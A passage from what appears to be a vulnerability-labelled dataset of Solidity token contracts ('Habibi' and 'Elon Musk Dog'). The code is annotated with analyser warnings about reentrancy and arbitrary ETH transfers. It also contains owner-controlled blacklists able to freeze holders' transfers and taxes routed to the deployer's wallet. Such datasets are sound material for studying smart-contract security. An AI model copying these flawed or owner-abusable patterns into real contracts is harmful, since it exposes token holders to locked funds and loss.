** _decimals;\n\n uint256 public _maxWalletSize = 2_000_000 * 10 ** _decimals;\n\n uint256 public _taxSwapThreshold = 200_000 * 10 ** _decimals;\n\n uint256 public _maxTaxSwap = 750_000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 4c891eb): Habibi.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 4c891eb: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 17912a0): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 17912a0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 527a103): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 527a103: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 17912a0\n\t\t// reentrancy-benign | ID: 527a103\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 17912a0\n\t\t// reentrancy-benign | ID: 527a103\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 44c305d): Habibi._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 44c305d: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 527a103\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 17912a0\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 51794b5): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 51794b5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 304de2b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 304de2b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 51794b5\n\t\t\t\t// reentrancy-eth | ID: 304de2b\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 51794b5\n\t\t\t\t\t// reentrancy-eth | ID: 304de2b\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 304de2b\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 304de2b\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 304de2b\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 51794b5\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 304de2b\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 304de2b\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 51794b5\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 17912a0\n\t\t// reentrancy-events | ID: 51794b5\n\t\t// reentrancy-benign | ID: 527a103\n\t\t// reentrancy-eth | ID: 304de2b\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimitW() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 58c381c): Habibi.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 58c381c: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 17912a0\n\t\t// reentrancy-events | ID: 51794b5\n\t\t// reentrancy-eth | ID: 304de2b\n\t\t// arbitrary-send-eth | ID: 58c381c\n _taxWallet.transfer(amount);\n }\n\n function addBotW(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBotW(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 8876cda): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 8876cda: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 3a47684): Habibi.openTrade() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 3a47684: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 96f8e22): Habibi.openTrade() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 96f8e22: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: ecac7cc): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for ecac7cc: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrade() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 8876cda\n\t\t// reentrancy-eth | ID: ecac7cc\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 8876cda\n\t\t// unused-return | ID: 96f8e22\n\t\t// reentrancy-eth | ID: ecac7cc\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 8876cda\n\t\t// unused-return | ID: 3a47684\n\t\t// reentrancy-eth | ID: ecac7cc\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 8876cda\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: ecac7cc\n tradingOpen = true;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: a3ce2dc): Habibi.updateTaxSwapThreshold(uint256) should emit an event for _taxSwapThreshold = t * 10 ** _decimals \n\t// Recommendation for a3ce2dc: Emit an event for critical parameter changes.\n function updateTaxSwapThreshold(uint256 t) external onlyOwner {\n\t\t// events-maths | ID: a3ce2dc\n _taxSwapThreshold = t * 10 ** _decimals;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 7d73a8c): Habibi.updateMaxTaxSwap(uint256) should emit an event for _maxTaxSwap = m * 10 ** _decimals \n\t// Recommendation for 7d73a8c: Emit an event for critical parameter changes.\n function updateMaxTaxSwap(uint256 m) external onlyOwner {\n\t\t// events-maths | ID: 7d73a8c\n _maxTaxSwap = m * 10 ** _decimals;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10204.sol",
"size_bytes": 20555,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract Contract is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 2b9dbf5): Contract._taxWallet should be immutable \n\t// Recommendation for 2b9dbf5: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n string private constant _name = unicode\"Elon Musk Dog\";\n\n string private constant _symbol = unicode\"COSMO\";\n\n\t// WARNING Optimization Issue (constable-states | ID: c75e3c5): Contract._initialBuyTax should be constant \n\t// Recommendation for c75e3c5: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: b29199a): Contract._initialSellTax should be constant \n\t// Recommendation for b29199a: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: 33e2a78): Contract._finalBuyTax should be constant \n\t// Recommendation for 33e2a78: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 46ccd33): Contract._finalSellTax should be constant \n\t// Recommendation for 46ccd33: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: b180ac0): Contract._reduceBuyTaxAt should be constant \n\t// Recommendation for b180ac0: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5c977fc): Contract._reduceSellTaxAt should be constant \n\t// Recommendation for 5c977fc: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: e521553): Contract._preventSwapBefore should be constant \n\t// Recommendation for e521553: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 25;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n uint256 public _maxTxAmount = 8413800000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 8413800000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 49eee87): Contract._taxSwapThreshold should be constant \n\t// Recommendation for 49eee87: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 4206900000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: e937989): Contract._maxTaxSwap should be constant \n\t// Recommendation for e937989: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 4206900000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() payable {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 013f8e1): Contract.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 013f8e1: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: de221d9): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for de221d9: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 5969cc4): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 5969cc4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: de221d9\n\t\t// reentrancy-benign | ID: 5969cc4\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: de221d9\n\t\t// reentrancy-benign | ID: 5969cc4\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 96c28bf): Contract._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 96c28bf: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: cad6c1a\n\t\t// reentrancy-benign | ID: 5969cc4\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: de221d9\n\t\t// reentrancy-events | ID: b65e039\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: e5b4df2): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for e5b4df2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 695ca20): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 695ca20: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: e5b4df2\n\t\t\t\t// reentrancy-eth | ID: 695ca20\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: e5b4df2\n\t\t\t\t\t// reentrancy-eth | ID: 695ca20\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 695ca20\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 695ca20\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 695ca20\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: e5b4df2\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 695ca20\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 695ca20\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: e5b4df2\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: de221d9\n\t\t// reentrancy-events | ID: b65e039\n\t\t// reentrancy-events | ID: e5b4df2\n\t\t// reentrancy-benign | ID: cad6c1a\n\t\t// reentrancy-benign | ID: 5969cc4\n\t\t// reentrancy-eth | ID: d4c847a\n\t\t// reentrancy-eth | ID: 695ca20\n\t\t// reentrancy-eth | ID: 81b5612\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 4ab3cb5): Contract.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 4ab3cb5: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: de221d9\n\t\t// reentrancy-events | ID: b65e039\n\t\t// reentrancy-events | ID: e5b4df2\n\t\t// reentrancy-eth | ID: d4c847a\n\t\t// reentrancy-eth | ID: 695ca20\n\t\t// reentrancy-eth | ID: 81b5612\n\t\t// arbitrary-send-eth | ID: 4ab3cb5\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: b65e039): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for b65e039: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: cad6c1a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for cad6c1a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 986a5f9): Contract.Launch() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 986a5f9: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: a5e3fe7): Contract.Launch() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for a5e3fe7: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: d4c847a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for d4c847a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 81b5612): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 81b5612: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function Launch() public onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), msg.sender, type(uint256).max);\n\n\t\t// reentrancy-events | ID: b65e039\n\t\t// reentrancy-benign | ID: cad6c1a\n\t\t// reentrancy-eth | ID: d4c847a\n\t\t// reentrancy-eth | ID: 81b5612\n transfer(address(this), balanceOf(msg.sender).mul(98).div(100));\n\n\t\t// reentrancy-events | ID: b65e039\n\t\t// reentrancy-benign | ID: cad6c1a\n\t\t// reentrancy-eth | ID: d4c847a\n\t\t// reentrancy-eth | ID: 81b5612\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-events | ID: b65e039\n\t\t// reentrancy-benign | ID: cad6c1a\n _approve(address(this), address(uniswapV2Router), type(uint256).max);\n\n\t\t// unused-return | ID: 986a5f9\n\t\t// reentrancy-eth | ID: d4c847a\n 